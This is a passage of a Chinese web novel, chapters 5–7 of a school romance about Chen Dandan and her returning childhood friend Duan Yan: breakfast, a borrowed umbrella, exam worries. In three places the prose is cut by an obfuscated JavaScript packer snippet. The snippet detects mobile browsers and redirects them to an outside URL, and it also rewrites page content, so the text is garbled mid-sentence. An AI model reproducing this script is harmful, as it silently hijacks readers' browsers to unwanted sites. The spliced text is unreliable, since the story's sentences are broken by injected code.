其中也包括个别和大家学习习惯不一样的同学。听说隔壁火箭班第二、年级前五的一个大佬从来都是两手空空回家,一到家就打游戏、睡觉,早上五点再爬起来到校写作业、上自习。 “当然——”段言拐了个弯,“不是。” 他语气平平:“我已经做完了。” “不是吧?真的假的?!”周立阳难以置信,这么多作业都做完了?他这个年级前三十拼死拼活都还只做了一半。 “嗯,晚自习做的。” “你没听白衬衣讲卷子?”白衬衣是班上的同学给物理老师起的外号,因为他一到春夏秋天,就是各式各样的白衬衣轮换着穿,还有同学开玩笑说物理老师简直是把白衬衣焊死在身上了,整个人正式到一出教室就可以直接参加婚宴。 “没有。” “哦。” 周立阳就有那么点同情段言了,别看白衬衣占用了他们的晚自习不假,可他好歹也是个教学能力很牛逼的老师,讲起题目来思路非常清晰,从来没有同学会错过他的讲课,尤其是他在晚自习期间讲解的难题。 班里还曾有同学戏谑地说:“数学课么,掉下来一支笔,捡起来再听,可能听得懂,也可能听不懂,听不懂的部分看看板书和课本,琢磨琢磨也能马上明白。白衬衣的物理课么,你捡个笔再听,可就别想听懂了。” 陈丹丹听着这两人说话,心里倒没什么想法。 以段言的智商和学习能力,弄懂物理应该是一件相当容易的事情,估计也没必要全程听白衬衣讲课。 第二天一早,段言果然交齐了作业,陈丹丹有种意料之中的感觉。邻居家的颜小星姐姐曾经告诉过她,上高中之后一定要从一开始就很努力,因为她很有可能会遇到一种名为学神的讨厌生物。 这种生物的奇特之处在于,明明听课不怎么认真,课下也没怎么努力,但就是能轻轻松松地碾压班级里绝大部分刻苦学习的同学。 遇到这种生物之后,不必探究,不必嫉妒,埋头努力就好,即使成为不了那种能和学神一较高下的超级大学霸,也可以成为用勤奋将大部分同学远远甩在身后的学霸。 早读结束后的课间,陈丹丹照例从桌兜里掏出她在学校对面的书店里买的习题册,厚厚的一本数学王后雄,她已经做完了三分之二。 刚打开笔帽,班里的卫生委员找上了她:“吴志刚生病了没来,你先替他擦几天白板,下周让他代替你值日。” 陈丹丹就这么被不由分说地安排了擦白板的活。 白板两侧还残留着昨天课代表们在上面写下的作业内容,从白板顶部一直到白板底部。她走上讲台,拿着板擦从靠近讲台的左侧开始擦。 奈何身高限制了她的发挥,擦最顶部的时候,她只得跳起来擦,高高的马尾在身后舞动,整个人宛若一只弹跳的兔子。 身后传来闷闷的笑声。 陈丹丹回过头,只见高高大大的男生望着她笑,一副被她逗笑的样子。 “笑什么?”她凶巴巴的。 “我没笑。”段言睁着眼睛说瞎话,坚决不承认他刚刚在笑话她。鬼知道他刚才坐在座位上,看着她跳一跳地擦白板,笑得肩膀直抖。 他抛了抛手上的板擦,那是讲台上剩下的另外一个,“下去吧,我来擦。” “不用。”陈丹丹拒绝。 陈丹丹正要跳起来擦黑板,却发现脑袋被一只大手按住:“别逞强,小心讲台给你踩塌了”,然后手的主人很轻松地抬起胳膊清理白板。 段言一边擦她刚刚没有擦到的地方,一边说:“等你擦完,估计预备铃都响了。实在不行,这周我擦,你明天给我带份早餐就行。” 他个子高,很容易就将白板上方的字擦干净了,动作利落,就连擦白板的背影都那么好看。 陈丹丹同意了:“好。” 顿了顿,在走下讲台的时候补了句,“谢谢。” 声音很小,他却也听见了,笑着回了句:“不客气。” 很小的一件事情,结果文艺委员辛彤彤跑过来小声问她:“丹丹,段言为什么帮你擦白板啊?” 辛彤彤是班上人缘很好的那种女生,长得漂亮却不会遭到同班女生的妒忌,反而和她们有说不完的话题,和班上的男生相处得很好的同时又有分寸感,不会和他们嬉嬉笑笑或者有过多肢体接触。在大街上遇到认识的同学,隔着老远她都会笑着举手和你打招呼。每次过生日,都会拎着超大的蛋糕到教室里请同学们吃,放学之后还会邀请玩得好的同学参加她的生日聚会。 她一看就是在幸福的家庭环境里长大的女孩子,热情开朗,笑容无忧无虑,很难让人讨厌起来。 不过陈丹丹在班上很少主动和其他同学交流,平日里和辛彤彤没什么交集,除了在校外遇到,辛彤彤主动和她打招呼之外,这还是她们俩第一次对话。 陈丹丹当时刚上完厕所回来,愣了两秒,回答她:“大概是日行一善?” 辛彤彤也愣住了,不知道相没相信这个解释。 翌日,陈丹丹起来的比平时还早。 依旧是等了好久的2路公交车,公交车摇摇晃晃,开一会儿停一会儿,乘客上上下下,她听见了吸溜饮品的声音,听见了有人咔擦咔擦咬脆脆的饼子的声音,还闻见了后座传来的牛肉饼香味。 公交车在华兴中学正门口停下,陈丹丹穿过学校,从学校后门口走出去,来到育才巷一家生意超火的鸡蛋灌饼摊子。 人称煎饼小哥的老板已经不怎么年轻了,据以前的男英语老师说,他当年读华兴中学的时候煎饼小哥就在这里摆摊了,生意一直都这么好,所以到了现在大家还是习惯性地叫他“煎饼小哥”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281598|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “小哥,来两个鸡蛋灌饼,夹生菜和火腿,多刷点酱。”排了大概十分钟的队,才轮到陈丹丹说这句话。排队的时间也没有浪费,被她用来背英语单词了。 “好嘞!”煎饼小哥扬声道,麻利地给用两个袋子给她装好。 买完鸡蛋灌饼,陈丹丹又去隔壁的摊子上买了两杯豆浆,“一杯加糖,另一杯不加糖。” 到了教室,陈丹丹看了眼手表,六点五十分,已经有不少同学坐在座位上看书或者刷题了。 也是,马上就要到月考了,不努力不行。 过了几分钟,段言也到了,看见桌上放着的早餐,潜意识发作,把这些东西当作是不熟悉的女同学送来的,并且习惯性地想把东西打包给其他同学,又突然反应过来,陈丹丹昨天答应给他带早餐。 其实他昨天开玩笑的来着,没真想让她带早餐。 他试探地感谢道:“陈丹丹,谢谢你给我带的早餐。” “应该的。”作为他帮忙擦白板的交换。 升上高二之后,学习压力骤增,身处学霸超多的火箭班之一后,陈丹丹很少会像以前那样,排队十来分钟只为买上美味的鸡蛋灌饼。大部分时候,她都在楼下的早餐店买两个包子一杯豆浆,剩余的早晨,她基本上是靠超市里卖的切片面包和牛奶解决。 托段言的福,她今早又舍得花时间排队买鸡蛋灌饼了。 听到陈丹丹的回答后,段言放下心,三两下解开塑料袋,咬了一口酥香美味的鸡蛋灌饼,接着又将吸管插上,喝了口甜甜的豆浆。 嗯,多年没有品尝过的,熟悉的味道。 还是那么好吃。 “嗡嗡——”裤兜里的手机传来振动声。 李为:「段神,到了新学校咋样?」 段言吃着早餐,用一只手回复:「还行。」 李为知道这就是适应得还不错的意思,吹捧他:「不愧是我们段神。」 他没话找话:「吃早餐了没?」 dy:「吃了,同学给我带的鸡蛋灌饼和豆浆。」 李为开玩笑道:「不会是女同学吧?」 dy:「嗯。」 李为惊了:「我靠靠靠靠靠!什么情况?你不是从来不吃女生给你带的任何早餐零食吗?」 他这位又帅又聪明的学神朋友特别招女孩子喜欢,从初中开始就有很多女生经常给他带早餐、送情书,节假日、生日一个不落的给他送礼物。同班的稍微少一点,清北班的女生大部分女生都还是以学习为主,顶多平时偷看他几眼,剩下的那些么,大概是熟悉了他“无情”的作风,早早就死心了。倒是外班甚至外校有不少女生还怀着点不切实际的期待。 不过都被他给“秋风扫落叶”般地打击了。 这哥们每次回到座位,知道谁送的,就让同学帮忙给退回去,不知道谁送的,吃的分给周围的同学,用的就放到学校的失物招领处,特别会和女生保持距离。 这回怎么还真吃上了? 李为大为震惊:「不是吧不是吧?你这么快就喜欢上人家了?」 他只能想到这唯一的一种可能。 这要让他们学校的女生,不,这附近几所学校的女生知道了,怕是得气的睡不着觉吧? dy:「少来。是小时候的朋友。」 李为大惊失色又好奇得抓耳挠腮:「这还是青梅竹马?」 段言懒得理他。 李为继续问他:「段神,你的小青梅长得啥样?多年不见,这才短短几天,你就吃上了人家给你送的早餐?」 段言不想和男生在背地里讨论女孩子的长相,解决掉鸡蛋灌饼,擦了擦嘴,又吸了一口甜豆浆,才回他: 「这是我做好人好事的合理回报。」 李为:「你还会主动帮女孩子?[斜眼]」 dy:「你家住海边?希望你能向小明长寿的爷爷学习。」 李为:「靠。」 你家住海边? ——管的真宽。 小明的爷爷为什么长寿? ——不管闲事。 这哥们是在讽刺他呢。 段言把装着鸡蛋灌饼的塑料袋子团起来放进装有豆浆杯的袋子里,给袋子打了个结,站起来确认了下放在教室最后面的两个大垃圾桶的位置。 手一扔,袋子划过一道弧线,“砰”的一声,准头很好地被丢进了垃圾桶。 陈丹丹站起来给组长交作业,正好看到这一幕。 她抿唇笑笑,想起来小时候段言在家里扔垃圾,把废纸团成一团,往垃圾桶里投,没扔进去。执着得很,又跑到垃圾桶旁边,把纸团捡起来,跑回到原地再投,这下终于投中。 哪像现在,一击即中。 多年不见,进步很大嘛。 6. 六颗青梅 今晚的晚自习依旧被老师占据,只是这次占用的时间格外长,长到隔壁班的同学都走光了,长到陈丹丹差点没赶上最后一班2路公交车。 刚刚跑的太快,她在公交后座上扶住胸口,不停喘息着,逐渐平复呼吸。 书包太重,体积又大,呼吸频率恢复正常后,陈丹丹把身后的书包放到了腿上,两只胳膊紧紧抱住鼓鼓的大书包,下巴抵在最上面的拉链处。 周围陆陆续续坐满了乘客,大部分是本校或者隔壁学校的学生,偶尔夹杂着几个神情疲惫的成年人。 陈丹丹望向窗外,夏夜的天空可以看见头顶上方的星星,这是她仅有的心里安宁的时刻。 陡然间,雨水将公交上的玻璃淋湿,淅淅沥沥的雨从天空坠落。 陈丹丹讨厌坐公交,更讨厌下雨天。 她的心情在一瞬间变差。 这样的雨天,瞬间把她拉回到一年半之前。 那一晚也是这样的雨,继母生下的弟弟年岁尚小,正是活泼好动的时候,他溜进了她的房间,将她留在书桌上的作业撕了个粉碎。回到家后,看见如此杰作的陈丹丹,一时间怒上心头。 “我明明走之前把门锁上了,他是怎么进来的?”她抱着那些碎片,大声质问坐在客厅看电视的继母,“是不是你把门开开的?” 父亲又一次占在了继母和弟弟那边,“你阿姨她不是故意的,她只是好心想帮你打扫房间。再说了,你弟弟这么小——” 后面的话陈丹丹已经不想再听了。 又是这一句万能的话,“他还小”“他不懂事”。 爸爸在她小时候送给她的小熊玩偶被弟弟拔掉了很多绒毛,父亲宽慰她:“他还小”。 爸爸在桌上留给她的零花钱被弟弟拿走,父亲又说:“原谅一下弟弟,他还小。” 她卧室里雪白的墙壁被弟弟胡乱涂鸦,父亲还是那句:“他还小。” 餐桌上她喜欢的菜大部分被继母夹进了弟弟的碗里,父亲依旧是那句:“弟弟还小”。 永远都是她让着弟弟,让着继母。 那个夜晚,她终于忍无可忍,直接打包行李,坐公交去了母亲的家中。 这个家她也来过,以前都是严格按照父母约定好的时间在两边轮流住,这一次,她不请自来。 按响门铃的那一刻,陈丹丹还是自信地以为母亲会为她讨回公道,或者愿意主动收留她。 却没想到,迎接她的是母亲诧异的面孔和尚未被隐藏好的、被打扰到的不快。打开门之后,她听见了妹妹在卧室里的呼唤“妈妈快过来——”,母亲立刻转身去了妹妹的房间,没有再多问她一句,直到妹妹睡下,她才询问大女儿的来意。面露为难之色后,她最终还是答应,高中期间女儿可以一直住在这个家里。 陈丹丹第一次深刻地意识到,原来在亲生父母的眼中,她已然彻底成为了一个不得不管的累赘,一个多余得不能再多余的拖油瓶。 蓦地,一道声音打断了她的思绪。 “这里有人吗?”好听的男声在陈丹丹左侧响起。 她转过头,猝不及防地对上了段言那张帅到过分的脸。 “没、没有。” “哦,那我坐这了。”他神态自然地落座,公交上狭窄的空间对高大的男生来说有些挤,他双腿微微岔开,斜斜地放置在座椅之间。 陈丹丹不知道该说些什么好,便又偏过头,盯着窗外发呆。 “哎,我说——”他有点不满地道,“我是丑到让你不忍直视吗?就这么不想看到我的样子。” “没有,”陈丹丹不得不转过头澄清,“你得对自己的容貌自信一点。” “我很自信的,”他顺着她的话说,似乎觉得这句话太过好笑,喉咙里溢出点笑意,“我开玩笑的。” 他主动找话题:“陈丹丹,你想不想知道我们小时候一起养过的小乌龟怎么样了?” 小时候院子里的小伙伴家中有养小狗的,有养猫咪的,他们俩的父母都不愿意家里多出好动、掉毛的宠物,陈丹丹实在是羡慕有小宠物的伙伴们,就和段言商量,两个人一起买了一只小乌龟。 段言搬家离开这里的时候,她将珍爱的小乌龟托付给他,让他留作纪念,还眼泪汪汪地叮嘱他:“你要把寿寿照顾好哦。” 她就说,和段言重逢以来,她似乎忘记了什么重要的事情,原来是忘记了询问寿寿的情况。 陈丹丹的眼睛瞪的圆溜溜的:“寿寿怎么样了?它现在还在你家吗?” 段言右手虚握成拳抵在唇边,轻咳两声:“丢了。” “丢了?”她提高音调。 “啊,”他和她解释,“丢在我姥姥家了,她难得像喜欢寿寿一样喜欢什么,我就把寿寿留在姥姥家陪她了。” 陈丹丹慢了半拍才反应过来:“……逗我玩儿呢你这是。” 他也不否认:“谁让你刚刚不搭理我的。” 支吾半天,陈丹丹找了个借口:“我是在想外面下雨了,要怎么回去。”公交站离家门口隔着步行十几分钟的距离,那附近也没有卖伞的地方。 段言“哦”了一声,说:“这不是问题。” 陈丹丹:“?” 他没有回答她的疑问,反而转移话题:“我们家现在养了一只小金毛,很可爱的。” 陈丹丹咦了声:“傅阿姨不是不喜欢掉毛的小动物吗?” “用她的话来说,善变是女人的特权。”段言低头笑笑,“你想看吗?改天我带出来让你看看。” 说起这个,陈丹丹就很来劲,“好啊!我超喜欢狗狗的。”一想到可以摸摸可爱的小金毛,她就眉眼弯弯地笑了。 见她终于露出放松的笑容,段言也笑了,“那——陈掌门,给我讲讲我们的这几位任课老师呗。” “陈、陈掌门?” 柔顺的黑色短发下,是少年盛满笑意的眼睛,他下巴一抬:“怎么,你不想当丹青派的掌门了?” 死去的记忆又开始攻击陈丹丹。一想到小时候的她立志于收小弟、成立和峨眉派、武当派等并列的门派,她就尴尬到一只手捂住额头,恨不得找个地缝钻进去。 “可以和你商量个事吗?”她闷闷的声音传来。 “你说。” 陈丹丹闭上眼,没敢看他是什么表情,“请你把那段记忆删除掉。” “可以,”少年颔首,很好说话地答应,于是陈丹丹闭上的眼睛睁开,捂住额头的手也重新放回膝盖上,然后就听见他一本正经地问,“那么请问陈掌门,现在可以给我讲讲我们的几位任课老师吗?” 陈丹丹只想打死他。 见她被逗得脸颊通红,气鼓鼓地瞪他,段言低低笑出声,“好啦,陈丹丹同学,给我讲讲吧。” 这还差不多,陈丹丹总算是满意了。 她只当他没记住俞秉文当时给他介绍的内容,耐心地把所有代课老师介绍了一遍:“我们的班主任是应航老师,他教我们班和13班、15班的数学,大家都叫他航哥。物理老师是杨文斌老师,人称白衬衣,因为一年有三百多天,他至少有三百天都穿着衬衣西裤,杨老师带我们班、15班、18班的物理……” 段言坐在那里,安静地听她讲,时不时点点头,表示自己有在认真听。 公交车很快开过了几个站台,即将到达段言的新家附近。陈丹丹早已经各科老师的情况给他讲了一遍,两个人有一搭没一搭地聊着,多数时候都是一个话题刚结束,段言又自然地抛出另一个话题。 眼见公交车即将到站,车上站满的乘客也所剩无几,他卡在了最后的时间点站起身,随即背着黑色的书包三两步下了车,只丢给陈丹丹一句“我到站了”。 有点突兀的道别。 陈丹丹还没反应过来,目光下意识追随着他离去的身影,稍一转头,就看见站在公交站牌旁边的少年用黑色的书包挡在头顶,冲她挥手说“明天见”,笑容明亮又干净。 陈丹丹脸颊紧贴着车窗玻璃,不自觉地回了他一个大大的笑容,也对他挥挥手,比了个“明天见”的口型。 眼见少年顶着书包冲入雨幕之中,她也收回视线,余光注意到旁边的座位上放着什么东西。 她转过头,愣了几秒才意识到。 那是段言留给她的雨伞。 他只带了唯一的一把雨伞,而现在,这把雨伞,他留给她了。 陈丹丹抱起那把被他留在座位上的黑色雨伞。良久,白净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281599|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸上绽开一抹笑容。 好奇怪。 她想,我好像没有那么讨厌公交车,也没有那么讨厌下雨天了。 “清水公园站到了,请下车的乘客从后门下车……”公交车的到站声响起,陈丹丹恍然间望向窗外,熟悉的夜空,熟悉的街道,熟悉的站牌。 不知不觉间,她也到站了。 这是她有史以来坐公交,感觉最快的一次。 …… 另一边,段言到家的时候,身上难免被淋湿了,阿福围着他转圈圈,好像在担心小主人,他欣慰地揉揉阿福毛茸茸的脑袋,换来小金毛萌哒哒的笑容。 傅女士见他狼狈地回来,好笑地将干毛巾递给他,“今天没带伞了?” 她有时都觉得儿子有点奇怪,即使天气预报上说不会下雨,早上离开家的时候也是大太阳,他还是把伞装进了书包。难得见儿子没带伞,关心之余,也免不了有点好笑。 段言接过毛巾擦头发,嘴角还噙着一抹笑:“难得大发善心,把伞借给同学了。” “借给丹丹了?”傅女士的问句里带着几分肯定。 她儿子有善心不假,但不代表他会善心大发到牺牲自己拯救别人。换言之,他的善心仅限于带了两把伞会借给同学一把,绝对不包括只带了一把伞却让给别人。 能让儿子这么“无私”的人,至少也是关系特别近的朋友。 他刚转学过来,能让他视为关系亲近的朋友,除了陈丹丹之外不做他想。 “嗯。”段言肯定了她的猜测,“不是你说让我多照顾照顾她吗?” “哟,这么听你妈的话呢。”傅女士哪能不知道,如果不是儿子自己愿意,他能真听她的话勉强自己? 段言没有理会她的调侃,放下书包去洗手间洗了手,从衣柜里拿出干净的T恤长裤,去了浴室。 等他回到桌前,看见李为半个小时前发给他的Q.Q消息。 「段神,要不要来把游戏?」 他回:「好。」 连麦打游戏的时候,李为听见他的咳嗽声,关心地问:“段神你感冒了?” “没有,”他的声音很淡,“晚上回来淋了点雨而已。” 李为操作的游戏人物一个踉跄,差点撞在石头上,“哟,稀奇了,你还能淋着雨?” 他敢说一年三百多天,段言起码有三百天出门是带着伞的。 没办法,开学没多久,有一次他和段言都忘记带伞了。当时外面雨越下越大,他还想着要不让他妈来接他的时候顺便把段言捎回去得了。 结果他们从老师办公室回来,就看到段言的桌兜里放着好几把雨伞,黑色的、白色的、蓝色的、格子的,甚至还有粉色的。他俩问了一圈是谁送过来的,想还给人家,没一个人承认,最后那几把伞被段言放到了失物招领处。 “你不带一把回家?”李为见他把所有的伞都放那了,震惊地问。 “不了,”李为至今都记得他当时透着疏离的眼神,“既然无法实现别人的心愿,就不要给别人希望,也不要接受别人超乎寻常的好意。给我带伞的同学,自己应该也只带了一把伞吧。” 从那之后,段言的书包里几乎时时刻刻都装着一把雨伞。 “伞借给别人了。”段言淡定地回答他,顺便一个技能闪现,爆了对手的头。 “靠!你还能这么善良?”李为不信邪,“高一那次咱们年级的级花问你借伞,你还记得你说了什么吗?” 段言的声音毫无停顿:“不记得了。” 李为一字一句地模仿他当时说过的话:“我只有一把伞,不借。” 段言:“……” “所以到底是什么情况?”李为操作的人物在深山里上蹿下跳,惊奇地问他,“该不会真借给某个女同学了吧?比如给你带早餐的小青梅?” 在段言的沉默里,他啧啧感叹:“这让咱们的级花情何以堪啊~” “无聊,”段言的游戏人物给了他一脚,“小时候关系很好的朋友而已。” 顿了顿,他补充道:“你的思想不要那么龌龊好不好?” 李为:“??” 我龌龊?? 你他妈说清楚,我哪里龌龊?! 7. 七颗青梅 周末过去,天已放晴。 陈丹丹从阳台上收回黑色的雨伞,小心翼翼地折叠好,放进书包里。到了教室之后,她看周围的同学都还没有到,迅速地将伞塞进段言的桌兜里,贴在伞上的,还有一张便利贴,第一行写着简单的两个字。 「谢谢。」 后面画着一个笑脸。 第二行是: 「下次不要把伞留给我,自己淋雨。」 于是一大清早的,刚到校收拾桌兜的段言不自觉地被这个笑脸感染到,嘴角微微上扬。 他第一次带着笑容,而不是不耐烦地把桌兜里不知名女同学送的情书、早餐零食整理了一番,把吃的都分给了周围的男生。 刚进教室的俞秉文稀奇道:“哟,今天怎么这么开心?发生什么好事了吗?” 段言收敛笑容:“吃东西都堵不住你的嘴?” 俞秉文:“……” 不问就不问,他也不是很好奇。 …… 课间。 上周的物理卷子发下来后,陈丹丹看着鲜红的两位数成绩,间歇性焦虑发作,整个人越来越丧,就连在心里怒骂出题人和该死的题目都不能缓解她的情绪了。 “怎么了?”祝思倩看出陈丹丹表情不对,问她道。 陈丹丹头往卷子里一埋,她已经焦虑得看不进去卷子了,“我物理这么差,之后的分班考试该怎么办啊?” 她成绩还行,但平时主要靠语文和英语拉分,物理和化学总是拖她的后腿,都快把后面那条腿给拖瘸了。 “加油考呗!”祝思倩安慰她,“你肯定没问题的!” 陈丹丹欲哭无泪,“我本来也这么想,但是今天发下来的物理卷子让我认清了现实。” 高一和高二的时候,她就认识到了火箭班和平行班的差距。相较于平行班来说,她所在的火箭班师资力量是最强的,老师对他们的态度是最好的(可以说是容忍度很强了),同学们的学习习惯是最好的,他们考试的能力也是最强的。 她本来还不以为然,但高二上学期的某一天晚自习,她去某个普通班帮老师传话,那个班里乱糟糟的,很吵,班长维持不了秩序,同学们玩玩闹闹,很少有人真的在做题自习。后来她听说那个班新来的年轻班主任被他们气哭过好几次。 待在那样和火箭班迥然不同的普通班里,不代表绝对考不上好大学,但难度必然会加倍。毕竟人是社会性动物,很难不受到环境的影响。 所以,陈丹丹只想继续留在火箭班。而华兴中学的火箭班,是出了名的“清北班”,就算达不到人人清北,至少也是个中上的985。 “没事啦!还有一段时间才分班考!最近这段时间你就拼命刷题复□□能进步的!”祝思倩真心实意地觉得陈丹丹没问题。 高二上学期重新分了班,她刚认识这姑娘的时候,印象就是长的清纯可爱,性子冷淡,不爱说话,看起来不怎么好相处。班里的一些同学也没有和她说过话,她也从来不主动加入班里那些聊的热火朝天的话题。用一个词语来概括,好听点来说是特立独行,不好听的就是不合群。她永远旁若无人地走在校园里,在别人打打闹闹的时候,她都在埋头做题。 熟起来之后,她才觉得这妹子人挺好,只是不主动和别人交际而已。她始终认认真真学习,完成一个又一个小目标。 她就是相信,这样的陈丹丹,一定可以考进高三的火箭班。 “谢谢倩倩,我们一起加油考进火箭班!”陈丹丹握了握拳,继续刷题。 她此刻的心情就和高三年级所在的那栋楼里贴的横幅一样:只要学不死,就往死里学。 她要打败物理这个小怪兽!顺利进入高三的火箭班! …… 下午的课结束之后,祝思倩拖着陈丹丹出去吃饭,“我说丹丹,虽然考试很重要,但是劳逸结合才是正确的方法,你别把自己逼得太紧了,偶尔出来放松放松嘛~” 陈丹丹从高二下学期开始,为了节省时间刷题,下午基本上都吃的是被祝思倩称之为“难吃到要死、奇葩到不行,简直是喂牲口”的食堂。 眼见好友看不下去,非拉着她出门放松一把,陈丹丹也没有拒绝。两人去了以前时常去的砂锅土豆粉店。 “老板,一个番茄土豆粉。” “再来一个玉米粒土豆粉。” “好嘞!”老板收下钱,走到后厨吩咐了一声。 这家砂锅土豆粉还挺有名的,店内的客人也不少,不过后厨的速度很快,没过多长时间两人就吃上了大骨汤土豆粉。 祝思倩剥着小碟子上赠送的两颗鹌鹑蛋,一口吸溜掉卤汁,抬起头问陈丹丹:“丹丹,你还记得上次航哥说的,什么时候举行分班考试吗?我只记得是下个月。” 陈丹丹一遍用筷子拌开土豆粉、番茄片、海带丝、豆腐皮丝,一边摇摇头:“航哥说具体时间还没确定下来,预计是下个月中旬。” “噢噢,”祝思倩一口一个卤鹌鹑蛋,含混不清地抱怨,“学校真是太可恶了,明明可以按照期末考试的成绩来分班,还非得整一个分班考试,这不是折磨我们吗?” 陈丹丹咽下酸溜溜的番茄片,笑道:“能一样吗?期末考试只考本学期学的内容,分班考试是考高一到现在的内容,范围都不一样。” “那这次期末考试的成绩有什么用?” “这次期末考试的成绩会占据分班总成绩的30%,所以还是很重要的。”要不是航哥讲这些的时候,祝思倩就坐在她旁边,陈丹丹简直要怀疑对方当天没上课了。 祝思倩擦擦嘴边的汤汁,不好意思地说:“没办法,我妈总说我有个特长,叫左耳朵进,右耳朵出。” 她握拳给好朋友打气:“估计我进火箭班的概率不大,不过丹丹你肯定没问题啦!一定能进火箭班的!” 分班考试的话题被重新提起,陈丹丹又有点焦虑了,她面露忧虑之色,“高三理科只有两个火箭班,不像我们现在有五个火箭班,我觉得还是挺悬的,而且——” 筷子在砂锅里转了转,她慢慢地继续道:“而且,我想上火箭一班,也就是21班。” 根据往年的惯例,高二分班考试中,年级排名前五十的同学将在高三时被分到火箭一班即21班,年级排名第五十一至一百名的同学会被分到火箭二班即20班,这就是高三年级唯二的两个理科火箭班了,其余的要么是文科班,要么是平行班。在这两个火箭班里,毋庸置疑,火箭一班的学生是成绩最好的,师资力量也注定是最强的。 在好友面前,陈丹丹不再掩饰她的不安,“我上回考试排在年级九十多名,要想冲进火箭一班还是很难的。” 祝思倩是个天生的乐观派,她右手夹起一颗玉米粒咬下,左手拿着汤勺盛了慢慢一勺大骨汤喝掉,语气坚定地安慰她:“我相信丹丹你一定没问题的!吃掉这份土豆粉,老天保佑你考高分!” 陈丹丹眉眼弯弯,伸出小手和她的好朋友相握:“那就借你吉言喽!” “嘘——你快看!”祝思倩突然拍拍陈丹丹的手臂,示意她转头往店门口看。 只见段言和几个男生走进这家店里,他们个个身高挺拔,一进店就吸引了不少人的注意。尤其是走在中间的段言,跟个衣架子似的,穿个校服都好看得不得了,甚至因为太帅,仿佛和周围的人都隔了一个次元。 他们刚在靠近门口那桌坐下,就有穿着其他学校校服的女生上前要联系方式。 在周围人的起哄声中,段言还是淡然自如。 “不好意思,我没有手机。”他拒绝得很干脆,说起谎话来眼睛都不带眨的。 “那Q.Q号呢?也没有吗?”女生不死心地问。 “没有。”段言面不改色地说。 目睹一个又一个女生上前要联系方式失败,祝思倩啧啧道:“后面那几个女生估计都以为自己是特别的那个,所以亲眼看见别的女生被拒绝,还是不死心地想尝试。她们哪知道,段校草纯粹是无差别对待所有女生啊~” 陈丹丹点点头,没有作声。 虽然她也挺爱八卦的,但莫名就是不喜欢一个个主动的女生被拒绝的场面。 “诶?”祝思倩突然灵光一现,压低声音问陈丹丹,“你有段言的Q.Q号吗?” 陈丹丹坦诚:“……有。” 祝思倩:“!!” 虽然问这个问题的时候就想过这个答案,但是真听到这个回答,祝思倩还是结结实实地惊讶了。 她眼珠子转了转,“你们俩……不一般哦~” 陈丹丹推开祝思倩凑过来的脑袋,无语:“你想哪去了?你不是都知道我和他小时候是邻居吗?” 祝思倩有理有据地反驳:“小时候的邻居也不见得关系很好啊。比如我和俞秉文,我们小时候也是邻居,你再看看我们俩现在互怼的样子,像是关系很好吗?” 陈丹丹肯定道:“像!” 他们俩斗起嘴来人均三岁,如果代入言情小说,不就是欢喜冤家的模式吗?而且他们俩虽然经常挤兑对方,但有八卦也是真分享,有忙也是真帮啊。 祝思倩坚决不承认:“那你该戴上眼镜了。” “……” 男生吃饭好像天生比女生要快得多,等到陈丹丹她们吃完土豆粉,段言那桌早就没人影了。 祝思倩拉着陈丹丹进了学校后门口的一家摆满了各种各样的小说、杂志的书屋。 一进门,祝思倩宛如小老鼠掉进了米缸一般欢乐,她指指点点:“这本我看过,啊!那本我也看过,还有这本!这本我也看过!”这些通通都是她的精神食粮! 陈丹丹顺着她的手指看去,几乎半个书屋的言情小说她都看过,顿时心生敬佩:“倩倩,你是如何做到看了这么多小说还能考进火箭班的?” 华兴中学是市里的重点中学,本科上线率直逼100%,一本上线率超过了90%。虽说高二有五个火箭班,“含金量”比不上高三的火箭班,但能在高二分科后考进火箭班,也算是相当不错了。 “大概是因为我看小说的时间都是从学习的缝隙里挤出来的?”祝思倩说着,手放在了最新的几本杂志上,挑挑拣拣之后,选出了《读者》《爱格》《青年文摘》放到前台,继续和陈丹丹咬耳朵,“我最近都没在班上看小说了,都是晚上躲进被子里面看的。” 陈丹丹角度清奇:“如果能把你用来看小说的时间都花在学习上,我觉得你的年级排名至少能前进50。” 祝思倩倒吸一口凉气:“丹丹,你变了!” 陈丹丹:“?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281600|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝思倩:“你居然说出了和航哥一样的句式!” 陈丹丹回忆了一下,很肯定地说:“没有!” 祝思倩单手叉腰,模仿班主任训人时候的动作和语气,“如果你能把踢足球的精力都放在学习上,我觉得你至少可以多考30分。” “如果你能把回家打游戏的时间都用在刷题上,我觉得你语文和英语至少可以多考20分。” “这些话是不是听起来很耳熟啊?” 陈丹丹捂脸:“……” “不过丹丹,”祝思倩从裤兜里掏出钱付了,将店员找的零钱装进口袋里,好奇地问道,“你平时都不怎么看课外书,是如何做到文笔细腻动人、有代入感的呀?教教我这个语文作文只有平均分的渣渣。” 